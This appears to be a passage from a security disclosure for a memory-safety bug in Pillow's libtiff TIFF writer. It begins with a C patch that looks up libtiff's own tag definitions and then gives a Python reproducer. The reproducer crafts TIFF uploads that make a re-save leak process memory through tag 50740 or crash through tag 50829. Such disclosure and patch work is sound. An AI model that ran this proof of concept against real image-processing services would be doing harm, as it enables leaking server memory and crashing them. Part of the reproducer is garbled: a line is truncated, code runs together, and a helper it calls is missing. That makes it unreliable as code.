- ImagingLibTiffSetField(&encoder->state, (ttag_t)key_int, av); + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av + ); free(av); } } diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..e14dd50bb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -923,6 +923,29 @@ ImagingLibTiffMergeFieldInfo( return TIFFMergeFieldInfo(clientstate->tiff, info, n); } +int +ImagingLibTiffFindField( + ImagingCodecState state, + int key, + TIFFDataType *field_type, + int *passcount, + int *writecount +) { + // Look up libtiff's own definition of a tag. TIFFMergeFieldInfo does not + // replace the definition of a tag that libtiff already knows, so this is + // what TIFFSetField will use for such tags. + TIFFSTATE *clientstate = (TIFFSTATE *)state->context; + const TIFFField *fip = TIFFFindField(clientstate->tiff, (ttag_t)key, TIFF_ANY); + + if (!fip) { + return 0; + } + *field_type = TIFFFieldDataType(fip); + *passcount = TIFFFieldPassCount(fip); + *writecount = TIFFFieldWriteCount(fip); + return 1; +} + int ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...) { // after tif_dir.c->TIFFSetField. diff --git a/src/libImaging/TiffDecode.h b/src/libImaging/TiffDecode.h index c31d0b9d8..ee1e4a5f9 100644 --- a/src/libImaging/TiffDecode.h +++ b/src/libImaging/TiffDecode.h @@ -41,6 +41,14 @@ ImagingLibTiffMergeFieldInfo( ImagingCodecState state, TIFFDataType field_type, int key, int is_var_length ); extern int +ImagingLibTiffFindField( + ImagingCodecState state, + int key, + TIFFDataType *field_type, + int *passcount, + int *writecount +); +extern int ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...); /* ``` ## The reproducer

Reproducer — repro, 2,545 bytes (click to open)

Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow libtiff writer: a count-1 integer tag copied from the source TIFF is passed to # TIFFSetField() as one scalar vararg; for tags libtiff itself defines as arrays it is # consumed as a byte COUNT (DNGPrivateData 50740 -> N bytes of process memory written # into the output) or as a POINTER (ActiveArea 50829 -> SIGSEGV). Application side is # the ordinary "open upload, save as TIFF" (compression is inherited -> libtiff writer). import io, struct, subprocess, sys, resource from PIL import Image def upload(tag, value): """Pillow-written 16x16 LZW TIFF, plus one extra IFD entry LONG[1] = value.""" b = io.BytesIO() Image.new("RGB", (16, 16), "red").save(b, "TIFF", compression="tiff_lzw") data = bytearray(b.getvalue()); assert data[:4] == b"II*\0" (off,) = struct.unpack_from(" 1 and sys.argv[1] == "child": resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resave(upload(50829, 64)); sys.exit(0) print("PIL core:", Image.core.__file__) ctl = Image.open(io.BytesIO(resave(upload(65000, 4096)))).tag_v2.get(65000) print("control tag 65000=4096 ->", repr(ctl)) N = 65536 src = upload(50740, N) try: v = Image.open(io.BytesIO(resave(src))).tag_v2.get(50740) except (ValueError, RuntimeError) as e: # a fixed Pillow may reject the tag v = e leak = isinstance(v, bytes) and len(v) == N and v[:64] not in src print(f"leak tag 50740={N} from a {len(src)}-byte upload ->", f"{len(v)} bytes not present in input, head {v[:32].hex()}" if leak else repr(v)[:80]) if leak: so = open(Image.core.__file__, "rb").read() print(" leaked bytes found in _imaging.so at file offset", hex(so.find(v[:256]))) rc = subprocess.call([sys.executable, __file__, "child"]) crash = rc in (-11, 139) print("crash tag 50829=64 -> child exit", rc, "(SIGSEGV)" if crash else "") print("BUG" if leak or crash else "OK") ```

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CVE-2026-112902 Blast Radius

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